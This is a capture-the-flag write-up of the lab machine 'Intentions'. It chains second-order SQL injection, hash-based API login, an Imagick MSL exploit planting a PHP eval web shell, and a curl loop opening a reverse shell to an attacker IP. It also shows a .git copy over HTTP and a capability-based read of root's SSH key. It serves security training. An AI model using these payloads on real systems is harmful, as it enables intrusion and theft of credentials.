Intentions

Gaining Access

Nmap scan:

$ nmap -p- --min-rate 4000 10.129.19.213 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-03 21:33 +08
Nmap scan report for 10.129.19.213
Host is up (0.17s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT      STATE    SERVICE
22/tcp    open     ssh
80/tcp    open     http

We don't need to add any domains for this machine. Since only port 80 is open, we should be proxying the traffic through Burpsuite.

Port 80 reveals a basic login page:

The HTTP requests sent when visiting this page are rather interesting:

GET / HTTP/1.1
Host: 10.129.19.213
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: XSRF-TOKEN=eyJpdiI6InJqcUJXNjhydWtBVm5vbUgwbTlHS2c9PSIsInZhbHVlIjoialliMWxUQU1SOHFLQkJQTjdSd3pVcGxzajArMk1DM2pCaVFNZmlweWJOcWhBQWs0RU9hOWQ2Y2ZLTmpjdG9leFNQeW1mSWhOSjNJOVI1Z0s4RkRjd0MvTjZiTzc5bXNmTTNJT1pVQ1dmalNFbm14Nk1ZN1FraHNvU3IxM2xabVQiLCJtYWMiOiJhYjFiYTI5YTQ0NzMyOTRhMzUyZjM4YzJjZDk1NmY1MmJmMGI1YzNhZTI4NjA4Yzk3ZWJlM2E0NDU3OTNiZDc5IiwidGFnIjoiIn0%3D; intentions_session=eyJpdiI6ImN5d0szS3JvWDFkZnFPWG9rd1RHRnc9PSIsInZhbHVlIjoiTUJmV21QVG1Yb1NoZ0V6TlNVNWpPWERvRW5qVEJibnh6MlRzTmFrdys0WkVpTVJrMEcvajJyb28wanBhd3ZtV3lkVlNVRkVSZ2txVzE4UGEzT3FvOHJYV2taRTJUTEFhc29pbVpOWFM4bWxDWUZKRWJTNTdKeG9JZ1FkSTh3bmciLCJtYWMiOiJhYWQyZDAwNDAxNWEzMzg0MTA4MjE1N2YzMzcwZGI1OWEwZmNhNDZjYjU1MmZhNzNlZDczZTc0NDhhMDc3MTA2IiwidGFnIjoiIn0%3D
Upgrade-Insecure-Requests: 1

So there are some forms of base64 encoded cookies involved in this website. Anyways, I registered a new user and logged in to view the gallery:

When we login, there is an extra cookie called token that is being assigned. It's a JWT token with this value:

Again, not sure what to do with this yet. We can click on the 'Gallery' option to see the traffic generated:

From the looks of it, it seems that the backend uses some kind of SQL database based on the data returned. When we view our 'Profile', we can see that there is an option to update it with our favourite genres:

This sends this POST request to the backend:

POST /api/v1/gallery/user/genres HTTP/1.1
Host: 10.129.19.213
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/json
X-XSRF-TOKEN: eyJpdiI6ImM2YmgvbDlaMlA1RE1vdmhmNUE4NXc9PSIsInZhbHVlIjoiaFJiS0tWNU5jYnRmTFJKUk5wSC9pR0x0ZVcwejdHV3RmRHh6WDNEdmwrV1hTSXh6VGVja1JOMWYrYlpUbHg2azRqRlN5bmlWTEh0eldpWlF3RVFNUEZaVXNxY1hVZGVkUXJmQlp4b2dIdHBYZ0JCOGM0Qk04cmpkdEt2bEVuZEYiLCJtYWMiOiI2YTIxNWUzNTNlYjEzNGM1MmI5OWRlMTg0NTg4MjMwODJiNmIwYjJlY2E4OTM0ZjA4M2QyMTM3NDViYjg1YmVjIiwidGFnIjoiIn0=
Content-Length: 31
Origin: http://10.129.19.213
Connection: close
Referer: http://10.129.19.213/gallery
Cookie: XSRF-TOKEN=eyJpdiI6ImM2YmgvbDlaMlA1RE1vdmhmNUE4NXc9PSIsInZhbHVlIjoiaFJiS0tWNU5jYnRmTFJKUk5wSC9pR0x0ZVcwejdHV3RmRHh6WDNEdmwrV1hTSXh6VGVja1JOMWYrYlpUbHg2azRqRlN5bmlWTEh0eldpWlF3RVFNUEZaVXNxY1hVZGVkUXJmQlp4b2dIdHBYZ0JCOGM0Qk04cmpkdEt2bEVuZEYiLCJtYWMiOiI2YTIxNWUzNTNlYjEzNGM1MmI5OWRlMTg0NTg4MjMwODJiNmIwYjJlY2E4OTM0ZjA4M2QyMTM3NDViYjg1YmVjIiwidGFnIjoiIn0%3D; intentions_session=eyJpdiI6IlZyd1ZTaVJBYnRuSldRS1VHM21xS0E9PSIsInZhbHVlIjoiVTBFUU5BRlExWEt0M0ZFcW0zYTcvMCszc0NjN3puUFp4WWFqbldRTzllcVllTXhyUitaV1BsVlVNSWZwRmN2cSt0UW15YnNrTlRsOHhha25LWE5FM1J5NWpvUTRXMWl6TkM5bkM1ZXN6YnRwMkxUQXRZWHVZSEM4YmpBdjVNNGUiLCJtYWMiOiIyY2FlNGQyYzk0N2FjYjRkNGJmNDMzMGUwNDcxYmE3YTZkYjE2YjU3NWUwYmQxYmJmMzc4NWZjNWQyMjUxZjY2IiwidGFnIjoiIn0%3D; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vMTAuMTI5LjE5LjIxMy9hcGkvdjEvYXV0aC9sb2dpbiIsImlhdCI6MTY4ODM5MTU5MCwiZXhwIjoxNjg4NDEzMTkwLCJuYmYiOjE2ODgzOTE1OTAsImp0aSI6Ijc2SEN0V1UzNmdyQm9oejMiLCJzdWIiOiIyOCIsInBydiI6IjIzYmQ1Yzg5NDlmNjAwYWRiMzllNzAxYzQwMDg3MmRiN2E1OTc2ZjcifQ.xEkDG7ysM7cu2yayeEOBvNmMJQ4fUF1UxlZdLs4GHvA

{"genres":"food,travel,nature"}

I did a gobuster scan for the /api directory and a feroxbuster scan on the general website to find more stuff too.

feroxbuster picked up on one interesting file:

$ feroxbuster -u http://10.129.19.213 -x js,html,php,txt

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.7.1
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.129.19.213
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.7.1
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 💲  Extensions            │ [js, html, php, txt]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200      GET        2l     6382w   311246c http://10.129.19.213/js/admin.js
200      GET        2l     5429w   279176c http://10.129.19.213/js/login.js
200      GET        2l     7687w   433792c http://10.129.19.213/js/app.js

Within the admin.js file, when we search for the string 'password', we can see this comment at the bottom:

Hey team, I've deployed the v2 API to production and have started using it in the admin section. \n                Let me know if you spot any bugs. \n                This will be a major security upgrade for our users, passwords no longer need to be transmitted to the server in clear text! \n                By hashing the password client side there is no risk to our users as BCrypt is basically uncrackable.\n                This should take care of the concerns raised by our users regarding our lack of HTTPS connection.\n

The v2 API also comes with some neat features we are testing that could allow users to apply cool effects to the images. I've included some examples on the image editing page, but feel free to browse all of the available effects for the module and suggest some :)

So the API takes the calculated hashed password of the user and passes it for authentication, meaning that if we were to get hashes, we don't actually need to crack them at all. This v2 API looks rather suspicious, but I was unable to interact with it much as no directory scans were returning anything useful.

This was when I got stuck.

2nd Order SQL Injection -> API Login

The only point of weakness seems to be that 'Genre' updating feature, so I went straight into that. When viewing the payload used my sqlmap, I realised it was being sent without the spaces accounted for:

{"genres":"food,travel,nature')ORROW(3888,4310)>(SELECTCOUNT(*),CONCAT(0x71787a7a71,(SELECT(ELT(3888=3888,1))),0x71626a6b71,FLOOR(RAND(0)*2))xFROM(SELECT2102UNIONSELECT1050UNIONSELECT3584UNIONSELECT2456)aGROUPBYx)AND('PEfz'LIKE'PEfz"}

To resolve this, I used the --tamper=space2plus flag. While the sqlmap ran, I checked the other parts of the website. If we attempt to view the /feed, there is a weird error response captured:

This normally didn't happen because requests to this would return images with their IDs. This highlights that the injection results might only be viewable when we send a request here instead, thus making the website potentially vulnerable to 2nd order SQL Injection:

sqlmap has the flag --second-req to test this. I also noticed that the SQL Injections were still failing, so I tried different tampers such as space2comment instead, and it worked!

$ sqlmap -r req --tamper=space2comment --batch --second-req req2
---
Parameter: JSON genres ((custom) POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: {"genres":"food,travel,nature') AND 1039=1039 AND ('IkOG'='IkOG"}

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: {"genres":"food,travel,nature') AND (SELECT 6642 FROM (SELECT(SLEEP(5)))gerB) AND ('DLAJ'='DLAJ"}

    Type: UNION query
    Title: MySQL UNION query (NULL) - 7 columns
    Payload: {"genres":"food,travel,nature') UNION ALL SELECT NULL,CONCAT(0x716b767671,0x736f6e536e4368556659467759684c574d455759615a5663427247796a62596547774d786a444c5a,0x71626b7171),NULL,NULL,NULL#"}
---

Using this, we can attempt to enumerate the database:

available databases [2]:
[*] information_schema
[*] intentions

Database: intentions
[4 tables]
+------------------------+
| gallery_images         |
| migrations             |
| personal_access_tokens |
| users                  |
+------------------------+

Table: users
[8 columns]
+------------+---------------------+
| Column     | Type                |
+------------+---------------------+
| admin      | int(11)             |
| created_at | timestamp           |
| email      | varchar(255)        |
| genres     | text                |
| id         | bigint(20) unsigned |
| name       | varchar(255)        |
| password   | varchar(255)        |
| updated_at | timestamp           |
+------------+---------------------+

Afterwards, the hashes for the users can be found:

$ sqlmap -r req --tamper=space2comment --batch --second-req req2 -D intentions -T users --dump
+----+--------------------------+-------+-------------------------------+---------------------------+--------------------------------------------------------------+---------------------+---------------------+
| id | name                     | admin | email                         | genres                    | password                                                     | created_at          | updated_at          |
+----+--------------------------+-------+-------------------------------+---------------------------+--------------------------------------------------------------+---------------------+---------------------+
| 1  | steve                    | 1     | steve@intentions.htb          | food,travel,nature        | $2y$10$M/g27T1kJcOpYOfPqQlI3.YfdLIwr3EWbzWOLfpoTtjpeMqpp4twa | 2023-02-02 17:43:00 | 2023-02-02 17:43:00 |
| 2  | greg                     | 1     | greg@intentions.htb           | food,travel,nature        | $2y$10$95OR7nHSkYuFUUxsT1KS6uoQ93aufmrpknz4jwRqzIbsUpRiiyU5m | 2023-02-02 17:44:11 | 2023-02-02 17:44:11 |
| 3  | Melisa Runolfsson        | 0     | hettie.rutherford@example.org | food,travel,nature        | $2y$10$bymjBxAEluQZEc1O7r1h3OdmlHJpTFJ6CqL1x2ZfQ3paSf509bUJ6 | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 |
| 4  | Camren Ullrich           | 0     | nader.alva@example.org        | food,travel,nature        | $2y$10$WkBf7NFjzE5GI5SP7hB5/uA9Bi/BmoNFIUfhBye4gUql/JIc/GTE2 | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 |
| 5  | Mr. Lucius Towne I       | 0     | jones.laury@example.com       | food,travel,nature        | $2y$10$JembrsnTWIgDZH3vFo1qT.Zf/hbphiPj1vGdVMXCk56icvD6mn/ae | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 |
| 6  | Jasen Mosciski           | 0     | wanda93@example.org           | food,travel,nature        | $2y$10$oKGH6f8KdEblk6hzkqa2meqyDeiy5gOSSfMeygzoFJ9d1eqgiD2rW | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 |
| 7  | Monique D'Amore          | 0     | mwisoky@example.org           | food,travel,nature        | $2y$10$pAMvp3xPODhnm38lnbwPYuZN0B/0nnHyTSMf1pbEoz6Ghjq.ecA7. | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 |
| 8  | Desmond Greenfelder      | 0     | lura.zieme@example.org        | food,travel,nature        | $2y$10$.VfxnlYhad5YPvanmSt3L.5tGaTa4/dXv1jnfBVCpaR2h.SDDioy2 | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 |
| 9  | Mrs. Roxanne Raynor      | 0     | pouros.marcus@example.net     | food,travel,nature        | $2y$10$UD1HYmPNuqsWXwhyXSW2d.CawOv1C8QZknUBRgg3/Kx82hjqbJFMO | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 |
| 10 | Rose Rutherford          | 0     | mellie.okon@example.com       | food,travel,nature        | $2y$10$4nxh9pJV0HmqEdq9sKRjKuHshmloVH1eH0mSBMzfzx/kpO/XcKw1m | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 |
| 11 | Dr. Chelsie Greenholt I  | 0     | trace94@example.net           | food,travel,nature        | $2y$10$by.sn.tdh2V1swiDijAZpe1bUpfQr6ZjNUIkug8LSdR2ZVdS9bR7W | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 |
| 12 | Prof. Johanna Ullrich MD | 0     | kayleigh18@example.com        | food,travel,nature        | $2y$10$9Yf1zb0jwxqeSnzS9CymsevVGLWIDYI4fQRF5704bMN8Vd4vkvvHi | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 |
| 13 | Prof. Gina Brekke        | 0     | tdach@example.com             | food,travel,nature        | $2y$10$UnvH8xiHiZa.wryeO1O5IuARzkwbFogWqE7x74O1we9HYspsv9b2. | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 |
| 14 | Jarrett Bayer            | 0     | lindsey.muller@example.org    | food,travel,nature        | $2y$10$yUpaabSbUpbfNIDzvXUrn.1O8I6LbxuK63GqzrWOyEt8DRd0ljyKS | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 |
| 15 | Macy Walter              | 0     | tschmidt@example.org          | food,travel,nature        | $2y$10$01SOJhuW9WzULsWQHspsde3vVKt6VwNADSWY45Ji33lKn7sSvIxIm | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 |
| 16 | Prof. Devan Ortiz DDS    | 0     | murray.marilie@example.com    | food,travel,nature        | $2y$10$I7I4W5pfcLwu3O/wJwAeJ.xqukO924Tx6WHz1am.PtEXFiFhZUd9S | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 |
| 17 | Eula Shields             | 0     | barbara.goodwin@example.com   | food,travel,nature        | $2y$10$0fkHzVJ7paAx0rYErFAtA.2MpKY/ny1.kp/qFzU22t0aBNJHEMkg2 | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 |
| 18 | Mariano Corwin           | 0     | maggio.lonny@example.org      | food,travel,nature        | $2y$10$p.QL52DVRRHvSM121QCIFOJnAHuVPG5gJDB/N2/lf76YTn1FQGiya | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 |
| 19 | Madisyn Reinger DDS      | 0     | chackett@example.org          | food,travel,nature        | $2y$10$GDyg.hs4VqBhGlCBFb5dDO6Y0bwb87CPmgFLubYEdHLDXZVyn3lUW | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 |
| 20 | Jayson Strosin           | 0     | layla.swift@example.net       | food,travel,nature        | $2y$10$Gy9v3MDkk5cWO40.H6sJ5uwYJCAlzxf/OhpXbkklsHoLdA8aVt3Ei | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 |
| 21 | Zelda Jenkins            | 0     | rshanahan@example.net         | food,travel,nature        | $2y$10$/2wLaoWygrWELes242Cq6Ol3UUx5MmZ31Eqq91Kgm2O8S.39cv9L2 | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 |
| 22 | Eugene Okuneva I         | 0     | shyatt@example.com            | food,travel,nature        | $2y$10$k/yUU3iPYEvQRBetaF6GpuxAwapReAPUU8Kd1C0Iygu.JQ/Cllvgy | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 |
| 23 | Mrs. Rhianna Hahn DDS    | 0     | sierra.russel@example.com     | food,travel,nature        | $2y$10$0aYgz4DMuXe1gm5/aT.gTe0kgiEKO1xf/7ank4EW1s6ISt1Khs8Ma | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 |
| 24 | Viola Vandervort DVM     | 0     | ferry.erling@example.com      | food,travel,nature        | $2y$10$iGDL/XqpsqG.uu875Sp2XOaczC6A3GfO5eOz1kL1k5GMVZMipZPpa | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 |
| 25 | Prof. Margret Von Jr.    | 0     | beryl68@example.org           | food,travel,nature        | $2y$10$stXFuM4ct/eKhUfu09JCVOXCTOQLhDQ4CFjlIstypyRUGazqmNpCa | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 |
| 26 | Florence Crona           | 0     | ellie.moore@example.net       | food,travel,nature        | $2y$10$NDW.r.M5zfl8yDT6rJTcjemJb0YzrJ6gl6tN.iohUugld3EZQZkQy | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 |
| 27 | Tod Casper               | 0     | littel.blair@example.org      | food,travel,nature        | $2y$10$S5pjACbhVo9SGO4Be8hQY.Rn87sg10BTQErH3tChanxipQOe9l7Ou | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 |
| 28 | test123                  | 0     | test123@gmail.com             | food,__REFLECTED_VALUE__# | $2y$10$7bfEqTkVy1LBAQa7wCpe2uUrQkDbeFXYb0v2dNaggPaxnP/W4M8H. | 2023-07-03 13:39:34 | 2023-07-03 14:12:11 |
+----+--------------------------+-------+-------------------------------+---------------------------+--------------------------------------------------------------+---------------------+---------------------+

greg and steve are both the administrators of the website, and we have their Bcrypt hashes. I used the same method to login for the v1 API, which involved sending a POST request to /api/v1/auth/login, and it responds as I expected:

Sending the correct parameters resulted in a successful login as greg, which generates a valid token.

Admin API -> RCE

We can grab the token value we were returned on the successful login. Now, we need to find the directory about 'image editing'. We can repeat the above request in a browser, and then check the /admin directory, which now works properly:

The link brings us to the PHP page for Imagick:

Going to "Images" reveals that we can edit them:

We can edit the images using 4 different effects:

This would send a POST request to the v2 API:

POST /api/v2/admin/image/modify HTTP/1.1
Host: 10.129.19.213
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/json
X-XSRF-TOKEN: eyJpdiI6IjloNURXNUpRQUNCb2tyUThhZDV1ZGc9PSIsInZhbHVlIjoiYUJZYVRmMVhHUEUwTS9FZk43eTF2TlpPY0tocEJnZlZnbFU2YnZCTDBNZlNqWmlYYmRvcjFPYWxiNEJkSXlLUjVkbEFWcHNuYnhOSFlsZExCTGw4eUhBUTJVR3RiVmxyQ2NDMGVzRDdXeVRzMmlOZmsxaXhVSnRSQXYyNWJhWEEiLCJtYWMiOiIzNjBlMTE1ZWExYjQwMzYwZGU2MDgyYWY2M2VhZDdmMzU3ZWEzOTNmMzcyNzVlMWJiNmEyMDYzY2UyMWI0ODg5IiwidGFnIjoiIn0=
Content-Length: 112
Origin: http://10.129.19.213
Connection: close
Referer: http://10.129.19.213/admin
Cookie: XSRF-TOKEN=eyJpdiI6IjloNURXNUpRQUNCb2tyUThhZDV1ZGc9PSIsInZhbHVlIjoiYUJZYVRmMVhHUEUwTS9FZk43eTF2TlpPY0tocEJnZlZnbFU2YnZCTDBNZlNqWmlYYmRvcjFPYWxiNEJkSXlLUjVkbEFWcHNuYnhOSFlsZExCTGw4eUhBUTJVR3RiVmxyQ2NDMGVzRDdXeVRzMmlOZmsxaXhVSnRSQXYyNWJhWEEiLCJtYWMiOiIzNjBlMTE1ZWExYjQwMzYwZGU2MDgyYWY2M2VhZDdmMzU3ZWEzOTNmMzcyNzVlMWJiNmEyMDYzY2UyMWI0ODg5IiwidGFnIjoiIn0%3D; intentions_session=eyJpdiI6Ik5LS0x5UjJucUJ3aTdLYVphdnFUQUE9PSIsInZhbHVlIjoiajhNNWNmVFRpUDZqMkROU3VVbUdGZUtLd3ZGeWVjcGxzcmNhUXlnOTlldnJVaUJuZDJYSE9wd1BNU0RmTS84T1pDdndpQ2lTZ3E3em1RZ2x3cFluRDRyWU51d0M4ZlB4Qk80VUFQV0N6Y2RyK3pQTVVha1hJZHg0cXFHMm10TDMiLCJtYWMiOiI4NTU1NmEzNDg2ZTYyNzBiODExNWRlMzA3Mjc5Zjk5YzAyODU0MmViZmMzNzdhNTA2YTEyOTE3Yjg3ZWZmMmIzIiwidGFnIjoiIn0%3D; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vMTAuMTI5LjE5LjIxMy9hcGkvdjIvYXV0aC9sb2dpbiIsImlhdCI6MTY4ODM5Mzg1MywiZXhwIjoxNjg4NDE1NDUzLCJuYmYiOjE2ODgzOTM4NTMsImp0aSI6IkFFcXROUHlMR25wNU1NZUMiLCJzdWIiOiIyIiwicHJ2IjoiMjNiZDVjODk0OWY2MDBhZGIzOWU3MDFjNDAwODcyZGI3YTU5NzZmNyJ9.3l-LRqW9Z1cf_Ewny0HOPdXtJhz-kk6cxKwje29dVUw



{"path":"/var/www/html/intentions/storage/app/public/animals/ashlee-w-wv36v9TGNBw-unsplash.jpg","effect":"wave"}

Googling for Imagick PHP exploits led me to this page showing an RCE:

The above exploit uses an RFI to load some PHP objects for RCE. We can test this with the website:

{"path":"http://10.10.14.64/hiiamrfi","effect":"wave"}

Since this was vulnerable to RFI, there's a high chance that it is vulnerable to the exploit above. We can follow the PoC to make it work. Firstly, we need to create a reverse shell payload within an image.

$ convert xc:red -set 'Copyright' '<?php @eval(@$_REQUEST["a"]); ?>' positive.png

Host this image on a HTTP server, and now comes the tricky part of uploading it (which involves some brute forcing). There seem to be 2 payloads involved in this:

  • One involving vid:ms1:/tmp/php*.

  • One with the form-data uploading positive.png to the server as cmd.php.

To start this, we can follow the PoC and use Burp Intruder to do send a lot of requests. Here's the first request:

POST /api/v2/admin/image/modify HTTP/1.1
Host: 10.129.19.213
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Content-Type: application/json
Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vMTAuMTI5LjE5LjIxMy9hcGkvdjIvYXV0aC9sb2dpbiIsImlhdCI6MTY4ODM5Mzc1NCwiZXhwIjoxNjg4NDE1MzU0LCJuYmYiOjE2ODgzOTM3NTQsImp0aSI6IjJFU1NGWHA5Sno4VVh1Y1EiLCJzdWIiOiIyIiwicHJ2IjoiMjNiZDVjODk0OWY2MDBhZGIzOWU3MDFjNDAwODcyZGI3YTU5NzZmNyJ9.TXkEvefZecbOrVTbd20__gfPgBcKwvyFO-bEcq5HCo4
Content-Length: 306
Connection: close

{
    'path': 'vid:msl:/tmp/php*',
    'effect': 'charcoal'
}

And here's the second request:

POST /api/v2/admin/image/modify HTTP/1.1
Host: 10.129.19.213
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Content-Type: multipart/form-data; boundary=--ABC
Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vMTAuMTI5LjE5LjIxMy9hcGkvdjIvYXV0aC9sb2dpbiIsImlhdCI6MTY4ODM5Mzc1NCwiZXhwIjoxNjg4NDE1MzU0LCJuYmYiOjE2ODgzOTM3NTQsImp0aSI6IjJFU1NGWHA5Sno4VVh1Y1EiLCJzdWIiOiIyIiwicHJ2IjoiMjNiZDVjODk0OWY2MDBhZGIzOWU3MDFjNDAwODcyZGI3YTU5NzZmNyJ9.TXkEvefZecbOrVTbd20__gfPgBcKwvyFO-bEcq5HCo4

Content-Length: 305
Accept: */*



--ABC
Content-Disposition: form-data; name="swarm"; filename="§swarm.msl§"
Content-Type: application/octet-stream
 
<?xml version="1.0" encoding="UTF-8"?>
<image>
 <read filename="http://10.10.14.64/positive.png" />
 <write filename="info:/var/www/html/intentions/public/cmd.php" />
</image>
--ABC--

Lastly, we can have a bash loop running to give us a reverse shell using a basic PHP reverse shell from revshells.com.

$ while true; do curl -G --data-urlencode 'a=$sock=fsockopen("10.10.14.64",4444);$proc=proc_open("bash", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);' http://10.129.19.213/cmd.php 2> /dev/null; done

Then, we just need to start both the payloads within Burpsuite Intruder with NULL requests.

When we run it both the Intruder instances, we would get a few requests to our Python HTTP server, and a reverse shell as www-data!

Privilege Escalation

Git Repo -> Greg Creds

I noticed that the web directory had a .git folder:

www-data@intentions:~/html/intentions$ ls -la
total 820
drwxr-xr-x  14 root     root       4096 Feb  2 17:55 .
drwxr-xr-x   3 root     root       4096 Feb  2 17:55 ..
-rw-r--r--   1 root     root       1068 Feb  2 17:38 .env
drwxr-xr-x   8 root     root       4096 Feb  3 00:51 .git
-rw-r--r--   1 root     root       3958 Apr 12  2022 README.md
drwxr-xr-x   7 root     root       4096 Apr 12  2022 app
-rwxr-xr-x   1 root     root       1686 Apr 12  2022 artisan
drwxr-xr-x   3 root     root       4096 Apr 12  2022 bootstrap
-rw-r--r--   1 root     root       1815 Jan 29 19:58 composer.json
-rw-r--r--   1 root     root     300400 Jan 29 19:58 composer.lock
drwxr-xr-x   2 root     root       4096 Jan 29 19:26 config
drwxr-xr-x   5 root     root       4096 Apr 12  2022 database
-rw-r--r--   1 root     root       1629 Jan 29 20:17 docker-compose.yml
drwxr-xr-x 534 root     root      20480 Jan 30 23:38 node_modules
-rw-r--r--   1 root     root     420902 Jan 30 23:38 package-lock.json
-rw-r--r--   1 root     root        891 Jan 30 23:38 package.json
-rw-r--r--   1 root     root       1139 Jan 29 19:15 phpunit.xml
drwxr-xr-x   5 www-data www-data   4096 Jul  3 16:10 public
drwxr-xr-x   7 root     root       4096 Jan 29 19:58 resources
drwxr-xr-x   2 root     root       4096 Jun 19 11:22 routes
-rw-r--r--   1 root     root        569 Apr 12  2022 server.php
drwxr-xr-x   5 www-data www-data   4096 Apr 12  2022 storage
drwxr-xr-x   4 root     root       4096 Apr 12  2022 tests
drwxr-xr-x  45 root     root       4096 Jan 29 19:58 vendor
-rw-r--r--   1 root     root        722 Feb  2 17:46 webpack.mix.js

The .env file also contained some interesting stuff, but it wasn't super useful because we already dumped the database earlier:

www-data@intentions:~/html/intentions$ cat .env
APP_NAME=Intentions
APP_ENV=production
APP_KEY=base64:YDGHFO792XTVdInb9gGESbGCyRDsAIRCkKoIMwkyHHI=
APP_DEBUG=false
APP_URL=http://intentions.htb

LOG_CHANNEL=stack
LOG_DEPRECATIONS_CHANNEL=null
LOG_LEVEL=debug

DB_CONNECTION=mysql
DB_HOST=localhost
DB_PORT=3306
DB_DATABASE=intentions
DB_USERNAME=laravel
DB_PASSWORD=02mDWOgsOga03G385!!3Plcx
<TRUNCATED>

We cannot read the git log output for this folder:

www-data@intentions:~/html/intentions$ git log -p 2 
fatal: detected dubious ownership in repository at '/var/www/html/intentions'
To add an exception for this directory, call:

        git config --global --add safe.directory /var/www/html/intentions

In this case, what we can do is just copy the entire .git folder using tar, as zip and 7z are both not present on the machine.

cp -r .git /tmp/.git
tar -cvf rep.tar /tmp/.git
python3 -m http.server 4444
## on kali
wget <IP>:4444/rep.tar

Afterwards, we can view the git log -p -2 output to find some credentials.

We can then su to greg.

Scanner Group -> Root Flag

We are part of the scanner group, and I used find to see what files we own:

greg@intentions:~$ find / -group scanner 2> /dev/null
/opt/scanner
/opt/scanner/scanner

There's a binary called scanner available on this machine:

greg@intentions:/opt/scanner$ file scanner 
scanner: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=a7sTitVjvr1qc4Ngg3jt/LY6QPsAiDYUOHaK7gUXN/5aWVPmSwER6KHrDxGzr4/SUP48whD2UTLJ-Q2kLmf, stripped
greg@intentions:/opt/scanner$ ls -la
total 1412
drwxr-x--- 2 root scanner    4096 Jun 19 11:26 .
drwxr-xr-x 3 root root       4096 Jun 10 15:14 ..
-rwxr-x--- 1 root scanner 1437696 Jun 19 11:18 scanner

This file is too big for reverse engineering, so let's do some dynamic analysis (AKA running it and seeing what it does).

greg@intentions:/opt/scanner$ ./scanner 
The copyright_scanner application provides the capability to evaluate a single file or directory of files against a known blacklist and return matches.

        This utility has been developed to help identify copyrighted material that have previously been submitted on the platform.
        This tool can also be used to check for duplicate images to avoid having multiple of the same photos in the gallery.
        File matching are evaluated by comparing an MD5 hash of the file contents or a portion of the file contents against those submitted in the hash file.

        The hash blacklist file should be maintained as a single LABEL:MD5 per line.
        Please avoid using extra colons in the label as that is not currently supported.

        Expected output:
        1. Empty if no matches found
        2. A line for every match, example:
                [+] {LABEL} matches {FILE}

  -c string
        Path to image file to check. Cannot be combined with -d
  -d string
        Path to image directory to check. Cannot be combined with -c
  -h string
        Path to colon separated hash file. Not compatible with -p
  -l int
        Maximum bytes of files being checked to hash. Files smaller than this value will be fully hashed. Smaller values are much faster but prone to false positives. (default 500)
  -p    [Debug] Print calculated file hash. Only compatible with -c
  -s string
        Specific hash to check against. Not compatible with -h

Interesting. This file isn't an SUID binary, so let's check its capabilities:

greg@intentions:/opt/scanner$ getcap scanner
scanner cap_dac_read_search=ep

This basically means that the scanner binary can read any file in the system. Since this file can read any file and tell us the hash of this file, we can use it to check whether files exist too.

greg@intentions:/opt/scanner$ ./scanner -p -s 2 -c /root/.ssh/id_rsa
[DEBUG] /root/.ssh/id_rsa has hash 1cd5f0fae381ed1b066b927995b7ef60
